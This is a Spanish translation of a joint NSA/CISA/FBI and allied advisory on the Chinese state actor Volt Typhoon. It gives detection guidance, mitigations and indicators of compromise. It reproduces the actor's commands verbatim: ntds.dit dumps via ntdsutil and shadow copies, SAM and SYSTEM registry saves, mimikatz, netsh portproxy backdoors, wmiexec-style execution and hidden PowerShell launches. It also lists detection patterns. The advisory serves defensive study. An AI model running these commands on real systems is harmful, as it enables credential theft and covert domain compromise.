TLP:CLEAR

Actor cibernético patrocinado por el estado de la República Popular China que utiliza la técnica “living off the land” para evadir la detección

Resumen

Los Estados Unidos y las autoridades internacionales de ciberseguridad emiten este Asesoramiento conjunto sobre ciberseguridad (Cybersecurity Advisory, CSA) para llamar la atención sobre las actividades de un grupo de interés descubierto recientemente asociado con un actor cibernético patrocinado por el estado de la República Popular China (PRC), también conocido como Volt Typhoon. Socios del sector privado han detectado que esta actividad afecta redes de diferentes sectores críticos de infraestructura de EE. UU., y las agencias autoras creen que el actor podría aplicar las mismas técnicas contra estos y otros sectores en todo el mundo.

Este asesoramiento de la Agencia de Seguridad Nacional (National Security Agency, NSA) de los Estados Unidos, la Agencia de Seguridad de Infraestructura y Ciberseguridad (Cybersecurity and Infrastructure Security Agency, CISA) de los Estados Unidos, la Oficina Federal de Investigaciones (Federal Bureau of Investigation, FBI) de los Estados Unidos, el Centro Australiano de Seguridad Cibernética (Australian Cyber Security Centre, ACSC) de la Dirección de Señales de Australia, el Centro Canadiense de Seguridad Cibernética (Canadian Centre for Cyber Security, CCCS) del Establecimiento de Seguridad de las Comunicaciones, el Centro Nacional de Seguridad Cibernética de Nueva Zelanda (New Zealand National Cyber Security Centre, NCSC-NZ) y el Centro Nacional de Seguridad Cibernética del Reino Unido (United Kingdom National Cyber Security Centre, NCSC-UK) (en adelante, las “agencias autoras”) brinda una descripción general de orientaciones para el seguimiento y prácticas recomendadas para la detección de este tipo de actividad.

Una de las principales tácticas, técnicas y procedimientos (tactics, techniques, and procedures, TTP) del actor es “living off the land” (ataques que utilizan troyanos, entre otros), es decir que utiliza herramientas de administración de red integradas para alcanzar sus objetivos. Estas TTP le permiten al actor evadir la detección mediante la integración con actividades habituales del sistema Windows y de la red, evadir a

productos de detección y respuesta en terminales (endpoint detection and response, EDR) que alertarían sobre la introducción de aplicaciones de terceros en el servidor host y limitar la cantidad de actividad que se captura en las configuraciones de registro predeterminadas. Algunas de las herramientas integradas que utiliza este actor son: `wmic`, `ntdsutil`, `netsh`, and `PowerShell`. El asesoramiento proporciona ejemplos de los comandos del actor junto con firmas de detección para ayudar a las defensas de la red a encontrar indicios de esta actividad. Muchos de los indicadores de comportamiento incluidos también pueden ser comandos legítimos de administración del sistema que aparecen en una actividad benigna. Se debe tener cuidado de no asumir que los hallazgos son maliciosos sin una investigación adicional u otros indicios de posible riesgo.

TLP:CLEAR

Índice

TLP:CLEAR

Información técnica

Este asesoramiento utiliza el marco MITRE ATT&CK para entornos empresariales, versión 13. Consulte el *Apéndice: Técnicas de MITRE ATT&CK* para ver todas las tácticas y técnicas mencionadas.

Contexto

Las agencias autoras están al tanto de la reciente actividad cibernética patrocinada por el estado de la República Popular China (PRC) y han identificado posibles indicadores asociados con estas técnicas. Este asesoramiento ayudará a los defensores de la red a rastrear esta actividad en sus sistemas. Proporciona muchos artefactos de red y de servidores host asociados con la actividad que ocurre después de que la red se haya visto atacada inicialmente, con un enfoque en las líneas de comando utilizadas por el actor cibernético. Al final de este asesoramiento se incluye un *resumen de los indicadores de riesgo (indicators of compromise, IOC)*. Para obtener una copia descargable de los IOC, consulte aa23-144a.stix_.xml (STIX, 35 kB).

Especialmente para las técnicas de “living off the land”, es posible que algunas líneas de comando aparezcan en un sistema como resultado de una actividad benigna, por lo que serían indicadores falsos positivos de actividad maliciosa. Los defensores deben evaluar las coincidencias para determinar su importancia, aplicando su conocimiento del sistema y el comportamiento de referencia.
Además, si se crea una lógica de detección basada en estos comandos, los defensores de la red deben tener en cuenta la variabilidad de los argumentos de comando de la cadena de caracteres, ya que algunos elementos como los puertos utilizados pueden diferir según el entorno.

Artefactos

Artefactos de red

El actor ha aprovechado dispositivos de red de oficinas pequeñas u oficinas en casa (small office/home office, SOHO) ya comprometidos como infraestructura intermedia para ocultar su actividad al hacer que gran parte del tráfico de comando y control (C2) emane de los proveedores de servicios de Internet (Internet service providers, ISP) locales en el área geográfica de la víctima. Los propietarios de dispositivos SOHO deben asegurarse de que las interfaces de administración de red no estén expuestas a Internet para evitar que actores malintencionados las reutilicen como medios de redirección. Si deben estar expuestos a Internet, los propietarios y operadores de los dispositivos deben asegurarse de seguir los principios de confianza cero y mantener el nivel más alto posible de autenticación y controles de acceso.

El actor utilizó Earthworm y un cliente de proxy inverso rápido (fast reverse proxy, FRP) personalizado con callbacks C2 de configuración rígida [T1090] para los puertos 8080, 8443, 8043, 8000 y 10443 con varios nombres de archivos que incluyen, entre otros:

cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe y WmiPrvSE.exe.

Artefactos de servidores host

Instrumentación de administración de Windows (WMI/WMIC)

El actor ejecutó el siguiente comando para recopilar información sobre unidades locales [T1082]:

```
cmd.exe /C "wmic path win32_logicaldisk get
caption,filesystem,freespace,size,volumename"
```

Este comando no requiere credenciales administrativas para devolver resultados. El comando utiliza un mensaje de comando del sistema [T1059.003] para ejecutar una consulta de la línea de comandos de Instrumentación de administración de Windows (Windows Management Instrumentation Command, WMIC) y recopilar información sobre los dispositivos de almacenamiento en el servidor host local, incluida la letra de unidad, el sistema de archivos (por ejemplo, el sistema de archivos de nueva tecnología [new technology file system, NTFS]), el espacio libre y el tamaño de la unidad en bytes, además de un nombre de volumen opcional. La Instrumentación de administración de Windows (WMI) es una herramienta integrada de Windows que permite al usuario acceder a información de administración desde servidores host en un entorno empresarial. La versión de línea de comando de WMI se llama WMIC.

De forma predeterminada, el seguimiento de WMI no está habilitado, por lo que es posible que los comandos de WMI que se ejecutan y el usuario asociado no estén disponibles. Encontrará información adicional sobre eventos y seguimiento de WMI en la sección *Referencias* de este asesoramiento.

Base de datos Ntds.dit de Active Directory

El actor puede intentar extraer el archivo ntds.dit y el subárbol de registro SYSTEM de los controladores de dominio (domain controllers, DC) de Windows fuera de la red para descifrar contraseñas [T1003.003] (El archivo ntds.dit es el principal archivo de base de datos de Active Directory [AD] y, de forma predeterminada, se almacena en `%SystemRoot%\NTDS\ntds.dit` Este archivo contiene información sobre usuarios, grupos, membresías de grupos y hashes de contraseñas para todos los usuarios del dominio; el subárbol de registro SYSTEM contiene la clave de inicio que se utiliza para cifrar la información en el archivo ntds.dit). Aunque el archivo ntds.dit está bloqueado mientras el AD lo usa, se puede realizar una copia haciendo una shadow copy (copia sombra) de volumen y extrayendo el ntds.dit de esta El subárbol de registro SYSTEM también se puede obtener a partir de la shadow copy. Los siguientes comandos de ejemplo muestran cómo el actor crea una shadow copy y, luego, extrae una copia del archivo ntds.dit a partir de esta.

```
cmd /c vssadmin create shadow /for=C: >
C:\Windows\Temp\<filename>.tmp
cmd /c copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTD
S\ntds.dit C:\Windows\Temp > C:\Windows\Temp\<filename>.tmp
```

La herramienta Ntdsutil.exe incorporada realiza todas estas acciones con un solo comando. Hay varias formas de ejecutar Ntdsutil.exe, incluida la ejecución desde un mensaje de comando elevado (cmd.exe), con WMI/WMIC, o PowerShell. Los defensores deben buscar la ejecución de los comandos Ntdsutil.exe utilizando las formas expandidas, abreviadas o una combinación de ambas. Por ejemplo, el comando de notación expandida `activate instance ntds ifm` también se puede ejecutar usando la notación abreviada `ac i ntds i`. La Tabla 1 proporciona las formas expandidas y abreviadas de los argumentos utilizados en el comando Ntdsutil.exe de muestra, junto con una breve descripción de los argumentos.

Tabla 1: Sintaxis del comando Ntdsutil.exe

Forma expandida	Abreviatura	Descripción
activar % de instancia	ac i %	Establece % variables como instancia activa para que ntdsutil pueda utilizarlos.
ifm	i	Instalar desde medios (install from media, IFM). Crea medios de instalación para usar con DCPromo, de modo que el servidor no necesite copiar datos de otro controlador de dominio en la red.

El actor ejecutó comandos WMIC [T1047] para crear una copia del archivo ntds.dit y del subárbol de registro SYSTEM mediante ntdsutil.exe. Cada uno de los siguientes comandos de actor es un ejemplo independiente; se proporcionan varios ejemplos para mostrar cómo la sintaxis y las rutas de archivo pueden diferir según el entorno.

```
wmic process call create "ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\pro
wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\"
ifm \"create full C:\Windows\Temp\Pro"
wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\"
"cmd.exe" /c wmic process call create "cmd.exe /c mkdir
C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm
\"create full C:\Windows\Temp\McAfee_Logs\"
```

```
cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\" 1>
\\127.0.0.1\ADMIN$\<timestamp value> 2>&1
```

Nota: el <timestamp value> sería una marca de tiempo de época con el formato “__1684956600.123456”.

Cada comando anterior del actor crea una copia de la base de datos ntds.dit y de los subárboles de registro SYSTEM y SECURITY en el directorio `C:\Windows\Temp\<folder>`, donde `<folder>` se reemplaza con la ruta especificada en el comando (como pro, tmp o McAfee_Logs). De forma predeterminada, el recurso compartido `ADMIN$` oculto está asignado a `C:\Windows\`, por lo que el último comando dirigirá los mensajes de error y de salida estándar del comando a un archivo dentro de la carpeta especificada.

El actor también guardó los archivos directamente en los directorios `C:\Windows\Temp` y `C:\Users\Public`, por lo que se debe analizar la totalidad de esas estructuras de directorios. Ntdsutil.exe crea dos subcarpetas en el directorio especificado en el comando: una carpeta de Active Directory que contiene los archivos ntds.dit y ntds.jfm, y una carpeta de registro que contiene los subárboles SYSTEM y SECURITY. Los defensores deben buscar esta estructura de carpetas en su red:

```
<path specified in command>\Active Directory\ntds.dit
<path specified in command>\Active Directory\ntds.jfm
<path specified in command>\registry\SECURITY
<path specified in command>\registry\SYSTEM
```

Cuando se ejecuta uno de los comandos de ejemplo, se crean varias entradas de registro sucesivas en el registro de la aplicación, en la fuente `ESENT`. Los eventos asociados se pueden ver en el Visor de eventos de Windows desde: `Windows Logs | Application`. Para limitar los resultados a eventos relevantes, seleccione Filtrar registro actual en el menú Acciones del lado derecho de la pantalla. En el menú desplegable Fuentes de eventos, marque la casilla junto a ESENT, luego limite los registros a los números de identificación `216`, `325`, `326` y `327`. Al hacer clic en el cuadro Aceptar, se aplicarán los filtros a los resultados.

Dado que el registro ESENT se utiliza ampliamente en Windows, los defensores deben centrarse en los eventos que hacen referencia a ntds.dit. Si tales eventos están presentes, los detalles de los eventos deben contener la ruta del archivo donde se crearon las copias del archivo. Dado que estos archivos se pueden eliminar o que el registro mejorado podría no estar configurado en los servidores host, la ruta del archivo puede ser de gran ayuda en una operación de búsqueda. Identificar al usuario asociado con esta actividad también es un paso crítico en una operación de búsqueda, ya que otras acciones de la cuenta de usuario comprometida (o creada por el actor) pueden

ser útiles para comprender las TTP adicionales del actor, así como la amplitud de las acciones del actor.

Nota: si un actor puede extraer ntds.dit y el subárbol de registro SYSTEM, se debe considerar que todo el dominio está comprometido, ya que el actor generalmente podrá descifrar los hashes de contraseñas de las cuentas de usuario del dominio, crear sus propias cuentas o unir sistemas no autorizados al dominio. Si esto ocurre, los defensores deben seguir las pautas para eliminar actores maliciosos de las redes de las víctimas, como la Eviction Guidance (Guía de desalojo) de la Agencia de Ciberseguridad y Seguridad de las Infraestructuras (Cybersecurity and Infrastructure Security Agency, CISA) para redes afectadas por SolarWinds y Active Directory/M365.

Además de las TTP anteriores utilizadas por el actor para copiar el archivo ntds.dit, un actor podría utilizar las siguientes herramientas para obtener la misma información:

- Secretsdump.py
  - ***Nota:*** *esta línea de comandos es un componente de Impacket, que se sabe que el actor utiliza.*
- Invoke-NinjaCopy (PowerShell)
- DSInternals (PowerShell)
- FgDump
- Metasploit

Las prácticas recomendadas para proteger ntds.dit incluyen reforzar los controladores de dominio y monitorear los registros de eventos para ntdsutil.exe y creaciones de procesos similares. Además, cualquier uso de privilegios de administrador debe auditarse y validarse para confirmar la legitimidad de los comandos ejecutados.

PortProxy

El actor utilizó los siguientes comandos para habilitar el reenvío de puertos [T1090] en el servidor host:

```
"cmd.exe /c "netsh interface portproxy add v4tov4
listenaddress=0.0.0.0 listenport=9999
connectaddress=<rfc1918 internal ip address>
connectport=8443 protocol=tcp""
"cmd.exe /c netsh interface portproxy add v4tov4
listenport=50100 listenaddress=0.0.0.0 connectport=1433
connectaddress=<rfc1918 internal ip address>"
```

donde `<rfc1918 internal ip address>` se reemplaza con una dirección de IPv4 interna de la red, omitiendo los < >.

Netsh es una función de secuencias y líneas de comandos integrada en Windows que puede mostrar o modificar la configuración de red de un servidor host, incluido el firewall de Windows. El comando para agregar un portproxy se utiliza para crear un proxy

“host:port” que reenviará las conexiones entrantes de la listenaddress y el listenport proporcionados a la connectaddress y al connectport.
Se requieren privilegios de administrador para ejecutar el comando portproxy.
Cada comando portproxy anterior creará una clave de registro en la ruta `HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\`.
Los defensores deben buscar la presencia de claves en esta ruta e investigar cualquier entrada anómala.

Nota: el uso de servidores proxy de puerto no es común para la administración legítima de sistemas, ya que pueden constituir una puerta trasera a la red que elude las políticas de firewall.
Los administradores deben limitar el uso del proxy de puerto dentro de los entornos y habilitarlos solo mientras sean necesarios.

Los defensores también deben usar direcciones IP y puertos inusuales en las líneas de comando o entradas del registro para identificar otros servidores host que estén posiblemente incluidos en las acciones de los actores. Todos los servidores host de la red deben examinarse en busca de reglas de reenvío de puertos y firewall nuevas e inusuales, así como direcciones IP y puertos especificados por el actor. Si hay tráfico de red o registro disponible, los defensores deben intentar identificar qué tráfico se reenvió a través de los servidores proxy del puerto para ayudar en la operación de búsqueda. Como se mencionó anteriormente, identificar la cuenta de usuario asociada que realizó los cambios de red también puede ayudar en la operación de búsqueda.

Las adiciones y cambios de reglas de firewall se pueden ver en el Visor de eventos de Windows desde: `Applications and Service Logs | Microsoft | Windows | Windows Firewall With Advanced Security | Firewall`.

Además de los cambios a nivel de servidor host, los defensores deben revisar las configuraciones del firewall perimetral para detectar cambios no autorizados o entradas que pueden permitir conexiones externas a servidores host internos. Se sabe que el actor apunta a dispositivos perimetrales en sus operaciones. Se deben revisar los registros del firewall para detectar cualquier conexión a sistemas en los puertos indicados en cualquier comando portproxy descubierto.

PowerShell

El actor utilizó el siguiente comando de PowerShell [T1059.001] para identificar inicios de sesión exitosos en el servidor host [T1033]:

```
Get-EventLog security -instanceid 4624
```

Nota: el ID de evento 4624 se registra cuando un usuario inicia sesión exitosamente en un servidor host y contiene información útil como el tipo de inicio de sesión (por ejemplo, interactivo o de red), nombres de cuentas de computadora y de usuario asociados, y la hora de inicio de sesión. Las entradas de ID de evento 4624 se

pueden ver en el Visor de eventos de Windows desde: `Windows Logs | Security`. Los registros de PowerShell se pueden ver en el Visor de eventos: `Applications and Service Logs | Windows PowerShell`.

Este comando identifica qué cuenta de usuario se está aprovechando actualmente para acceder a la red, identificar a otros usuarios que iniciaron sesión en el servidor host o identificar cómo se registran sus acciones. Si el actor utiliza una técnica de pulverización de contraseñas [T1110.003], puede haber varios eventos de inicio de sesión fallidos (ID de evento 4625) para varias cuentas de usuario diferentes, seguidos de uno o más inicios de sesión exitosos (ID de evento 4624) dentro de un corto período de tiempo. Este período puede variar según el actor, pero puede abarcar desde unos segundos hasta unos minutos.

Si el actor está intentando descifrar contraseñas contra una sola cuenta de usuario mediante el uso de fuerza bruta [T1110], puede haber varias entradas de ID de evento 4625 para esa cuenta, seguidas de un inicio de sesión exitoso ID de evento 4624. Los defensores también deben buscar actividad anormal en la cuenta, como inicios de sesión fuera del horario laboral normal e inicios de sesión imposibles en tiempo y distancia (por ejemplo, un usuario inicia sesión al mismo tiempo desde dos ubicaciones geográficamente distantes).

Impacket

El actor emplea regularmente el uso de wmiexec de Impacket, que redirige la salida a un archivo dentro del recurso compartido `ADMIN$` del servidor host de la víctima (`C:\Windows\`) que contiene una marca de tiempo de época en su nombre. El siguiente es un ejemplo del comando “`dir`” ejecutado por wmiexec.py:

```
cmd.exe /Q /c dir 1>
\\127.0.0.1\ADMIN$\ 1684956600.123456 2>&1
```

Nota: descubrir una entrada similar al ejemplo anterior en el Registro de eventos de Windows y/o un archivo con un nombre en un formato similar puede ser evidencia de actividad maliciosa y debe investigarse más a fondo. En el caso de que solo se descubra un nombre de archivo, la marca de tiempo de época dentro del nombre de archivo refleja el tiempo de ejecución de forma predeterminada y se puede utilizar para ayudar a determinar el alcance de las actividades de búsqueda de amenazas.

Enumeración del entorno

El actor utilizó los siguientes comandos para enumerar la topología de la red. [T1016], la estructura del directorio activo [T1069.002] y demás información sobre el entorno objetivo [T1069.001], [T1082]:

```
arp -a
curl www.ip-api.com
```

```
dnscmd . /enumrecords /zone {REDACTED}
dnscmd . /enumzones
dnscmd /enumrecords {REDACTED} . /additional
ipconfig /all
ldifde.exe -f c:\windows\temp\<filename>.txt -p subtree
net localgroup administrators
net group /dom
net group "Domain Admins" /dom
netsh interface firewall show all
netsh interface portproxy show all
netsh interface portproxy show v4tov4
netsh firewall show all
netsh portproxy show v4tov4
netstat -ano
reg query hklm\software\
systeminfo
tasklist /v
whoami
wmic volume list brief
wmic service brief
wmic product list brief
wmic baseboard list full
wevtutil qe security /rd:true /f:text
 /q:*[System[(EventID=4624) and
 TimeCreated[@SystemTime>='{REDACTED}']] and
 EventData[Data='{REDACTED}']]
```

Robo de credenciales adicional

El actor también utilizó los siguientes comandos para identificar oportunidades adicionales para obtener credenciales en el entorno [T1555], [T1003]:

```
dir C:\Users\{REDACTED}\.ssh\known_hosts
dir
C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profiles
mimikatz.exe
reg query hklm\software\OpenSSH
reg query hklm\software\OpenSSH\Agent
reg query hklm\software\realvnc
reg query hklm\software\realvnc\vncserver
reg query hklm\software\realvnc\Allusers
reg query hklm\software\realvnc\Allusers\vncserver
reg query hkcu\software\{REDACTED}\putty\session
reg save hklm\sam ss.dat
reg save hklm\system sy.dat
```

Comandos adicionales

El actor ejecutó los siguientes comandos adicionales:

```
7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z
C:\Windows\system32\pcwrun.exe
C:\Users\Administrator\Desktop\Win.exe
C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 >
C:\Windows\temp\putty.log
C:\Windows\Temp\tmp.log
"cmd.exe" /c dir \\127.0.0.1\C$ /od
"cmd.exe" /c ping –a –n 1 <IP address>
"cmd.exe" /c wmic /user:<username> /password:<password>
process call create "net stop \"<service name>\" >
C:\Windows\Temp\tmp.log"
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\ <timestamp value> 2>&1
net use \\127.0.0.1\IPC$ /y /d
powershell start-process -filepath
c:\windows\temp\<filename>.bat -windowstyle Hidden
rar.exe a –{REDACTED} c:\Windows\temp\{REDACTED}
D:\{REDACTED}\
wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED}
cmd /c whoami
xcopy C:\windows\temp\hp d:\{REDACTED}
```

Medidas de mitigación

Las agencias autoras recomiendan que las organizaciones implementen las siguientes medidas de mitigación para mejorar la postura de ciberseguridad de su organización, en función de la actividad del actor de amenazas. Estas medidas se alinean con los Objetivos de desempeño de ciberseguridad (Cybersecurity Performance Goals, CPG) intersectorial desarrollados por CISA y el Instituto Nacional de Estándares y Tecnología (National Institute of Standards and Technology, NIST). Los CPG proporcionan un conjunto mínimo de prácticas y protecciones que CISA y NIST recomiendan que todas las organizaciones implementen. CISA y NIST basaron los CPG en marcos y directrices de ciberseguridad existentes para proteger contra las amenazas y TTP más comunes e impactantes. Visite los Objetivos de desempeño de ciberseguridad intersectorial de CISA para obtener más información sobre los CPG, incluidas protecciones de referencia adicionales recomendadas.

- Los defensores deberían reforzar los controladores de dominio y monitorear los registros de eventos [2.T] para ntdsutil.exe y creaciones de procesos similares. Además, cualquier uso de privilegios de administrador debe auditarse y validarse para confirmar la legitimidad de los comandos ejecutados.

- Los administradores deben limitar el uso del proxy de puerto dentro de los entornos y habilitarlos solo mientras sean necesarios [2.X].
- Los defensores también deben investigar direcciones IP y puertos inusuales en las líneas de comando, entradas del registro y registros del firewall para identificar otros servidores host que estén posiblemente incluidos en las acciones de los actores.
- Además de los cambios a nivel de servidor host, los defensores deben revisar las configuraciones del firewall perimetral para detectar cambios no autorizados o entradas que pueden permitir conexiones externas a servidores host internos.
- Los defensores también deben buscar actividad anormal en la cuenta, como inicios de sesión fuera del horario laboral normal e inicios de sesión imposibles en tiempo y distancia (por ejemplo, un usuario inicia sesión al mismo tiempo desde dos ubicaciones geográficamente distantes).
- Los defensores deben reenviar los archivos de registro a un servidor de registro centralizado reforzado, preferiblemente en una red segmentada [2.F].

Recomendaciones de inicio de sesión

Para poder detectar la actividad descrita en este CSA, los defensores deben configurar la política de auditoría para los registros de seguridad de Windows para incluir “`creación de procesos de auditoría`” e “`incluir líneas de comando en eventos de creación de procesos`” además de acceder a los registros. De lo contrario, es posible que las configuraciones de registro predeterminadas no contengan la información necesaria.

Al habilitar estas opciones, se crearán entradas de ID de evento 4688 en el registro de seguridad de Windows para ver los procesos de la línea de comandos. Dado el costo y la dificultad de registrar y analizar este tipo de actividad, si una organización debe limitar los requisitos, debe centrarse en permitir este tipo de registro en sistemas que se enfrentan externamente o realizan autenticación o autorización, especialmente incluidos los controladores de dominio.

Para buscar actividad maliciosa de WMI y PowerShell, los defensores también deben registrar eventos de WMI y PowerShell. De forma predeterminada, el seguimiento WMI y el registro profundo de PowerShell no están habilitados, pero se pueden habilitar siguiendo las instrucciones de configuración vinculadas en la sección *Referencias*.

El actor toma medidas para ocultar sus huellas, como limpiar registros [T1070.001]. Para garantizar la integridad y disponibilidad de los registros, los defensores deben reenviar los archivos de registro a un servidor de registro centralizado reforzado, preferiblemente en una red segmentada. Tal arquitectura hace que sea más difícil para un actor cubrir sus huellas, ya que la evidencia de sus acciones quedará capturada en múltiples ubicaciones. Los defensores también deben monitorear los registros del ID de evento 1102, que se generan cuando se borra el registro de auditoría. Se deben investigar todas las

entradas del ID de evento 1102, ya que los registros generalmente no se borran y esta es una táctica conocida de los actores para cubrir sus huellas. Incluso si se borra un registro de eventos en un servidor host, si los registros también se almacenan en un servidor de registro, se conservará la copia del registro.

Esta actividad suele estar vinculada a la explotación maliciosa de dispositivos perimetrales y dispositivos de gestión de red. Los defensores deben permitir el registro en sus dispositivos perimetrales, para incluir registros del sistema y poder identificar posibles explotaciones y movimientos laterales. También deben habilitar el registro a nivel de red, como registros de sysmon, servidor web, middleware y dispositivos de red.

Resumen sobre Indicadores de compromiso (indicators of compromise, IOC):

TTP

- Explotación de vulnerabilidades [T1190] en software ampliamente utilizado que incluye, entre otros:
  - CVE-2021-40539—ManageEngine ADSelfService Plus.
    - https://www.cisa.gov/uscert/ncas/alerts/aa21-259a.
  - CVE-2021-27860—FatPipe WARP, IPVPN, MPVPN.
    - https://www.ic3.gov/Media/News/2021/211117-2.pdf.

- Uso de webshells para persistencia y extracción [T1505.003], con al menos algunos de los webshells derivados del webshell *Awen*.

- Uso de dispositivos SOHO (de entornos de oficinas pequeñas u oficinas en el hogar) comprometidos (por ejemplo, enrutadores) para ofuscar el origen de la actividad [T1090.002].
  - Los tipos más comunes incluyen dispositivos ASUS, Cisco RV, Draytek Vigor, FatPipe IPVPN/MPVPN/WARP, Fortinet Fortigate, Netgear Prosafe y Zyxel USG.
  - Las exposiciones y vulnerabilidades comunes (Common Vulnerabilities and Exposures, CVE) habituales para estos dispositivos y las pautas de mitigación se pueden encontrar en el Asesoramiento conjunto sobre ciberseguridad, “Principales CVE utilizados activamente por actores cibernéticos patrocinados por el estado de la República Popular China”.

- Utilizar “living off the land” para actividades de descubrimiento, movimiento lateral y recolección, que incluyan:
  - certutil
  - dnscmd
  - ldifde
  - makecab

- net user/group/use
- netsh
- nltest
- ntdsutil
- PowerShell
- req query/save
- systeminfo
- tasklist
- wevtutil
- wmic
- xcopy

- Eliminación selectiva de registros de eventos de Windows, registros del sistema y otros artefactos técnicos para eliminar evidencia de su actividad de intrusión [T1070].

- Usar herramientas de “pirateo” de código abierto, como:
  - Proxy inverso rápido (frp)
    - Probablemente derivado de las variantes *fatedier* y *EarthWorm* disponibles públicamente.
  - Impacket
    - Para detectar el uso de Impacket, consulte el asesoramiento conjunto sobre ciberseguridad: “Herramienta de extracción e Impacket utilizada para robar información confidencial de una organización de base industrial de defensa”.
  - Mimikatz.exe
  - Herramientas de administración remota
    - Los defensores deben consultar el Asesoramiento conjunto sobre ciberseguridad: “Protección contra el uso malicioso de software de gestión y supervisión remota”.

Ejecución de comandos

Los nombres de archivos y rutas de directorio utilizados en estos comandos solo sirven como ejemplos. Los nombres y rutas reales pueden diferir según el entorno y la actividad, por lo que los defensores deben tener en cuenta las variantes al realizar consultas.

Nota: muchos de los comandos se derivan de comandos comunes de administración del sistema que podrían generar falsos positivos cuando se usan solos sin indicadores adicionales.

```
7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z
c:\windows\temp\*
```

```
"C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c
"netsh interface portproxy delete v4tov4
listenaddress=0.0.0.0 listenport=9999""

C:\Windows\system32\pcwrun.exe
C:\Users\Administrator\Desktop\Win.exe

cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >>
c:\windows\temp\{REDACTED}.tmp

"cmd.exe" /c wmic process call create "cmd.exe /c mkdir
C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm
\"create full C:\Windows\Temp\McAfee_Logs\"

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\ <timestamp value>
2>&1

cmd.exe /Q /c net group "domain admins" /dom
1>\\127.0.0.1\ADMIN$\ <timestamp value> 2>&1

cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\" 1>
\\127.0.0.1\ADMIN$\<timestamp value> 2>&1

D:\{REDACTED}\xcopy C:\windows\temp\hp d:\{REDACTED}

Get-EventLog security -instanceid 4624

ldifde.exe -f c:\windows\temp\cisco_up.txt -p subtree

makecab ..\backup\210829-020000.zip
..\webapps\adssp\html\Lock.lic

move "\\<redacted>\c$\users\public\Appfile\registry\SYSTEM"
..\backup\210829-020000.zip

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0
listenport=9999 connectaddress={REDACTED} connectport=8443
protocol=tcp

netsh interface portproxy delete v4tov4
listenaddress=0.0.0.0 listenport=9999

Rar.exe a -{REDACTED} c:\Windows\temp\DMBC2C61.tmp

start-process -filepath c:\windows\temp\<filename>.bat -
windowstyle hidden 1
```

Nota: el archivo por lotes en cuestión (`<filename>.bat`) podría usar cualquier nombre y, hasta ahora, no se ha determinado ningún patrón discernible.

```
wmic process call create "cmd.exe /c mkdir
C:\users\public\Appfile & ntdsutil \"ac i ntds\" ifm
\"create full C:\users\public\Appfile\" q q
```

```
wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\"

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\"
ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "ntdsutil \"ac i ntds\" ifm
\"create full C:\Windows\Temp\"
```

Patrones de línea de comando

Ciertos patrones en los comandos (con asteriscos como comodines) se pueden usar para identificar comandos potencialmente maliciosos:

- `cmd.exe /C dir /S \\* >> *`
- `cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\ *.*>&1`
- `powershell start-process -filepath c:\windows\temp\*.exe -windowstyle hidden`

Rutas de archivo

Las rutas más comunes donde se han encontrado archivos y ejecutables utilizados por el actor incluyen:

- `C:\Users\Public\Appfile` (subdirectorios incluidos)
- `C:\Perflogs` (subdirectorios incluidos)
- `C:\Windows\Temp` (subdirectorios incluidos)

Nombres de archivos

Los nombres de archivos que el actor utilizó anteriormente para elementos como malware, líneas de comandos y herramientas incluyen:

backup.bat	cl64.exe	update.bat	Win.exe
billagent.exe	nc.exe	update.exe	WmiPrvSE.exe
billaudit.exe	rar.exe	vm3dservice.exe	WmiPreSV.exe
cisco_up.exe	SMSvcService.exe	watchdogd.exe	

Además de los nombres de archivos y las rutas anteriores, también se han descubierto nombres de archivos maliciosos, que se cree que se crearon aleatoriamente, en el siguiente formato:
`C:\Windows\[a-zA-Z]{8}.exe`

Hashes de archivo SHA-256

- `f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd`
- `ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31`
- `d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca`
- `472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d`
- `66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7`

- 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71
- 41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597
- c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99
- 3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f
- fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15
- ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484

Usuario-agente

En algunos casos, este actor identificó la siguiente cadena de usuario-agente (incluido el espacio adicional) realizando actividades de reconocimiento:

```
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0)
Gecko/20100101 Firefox/68.0
```

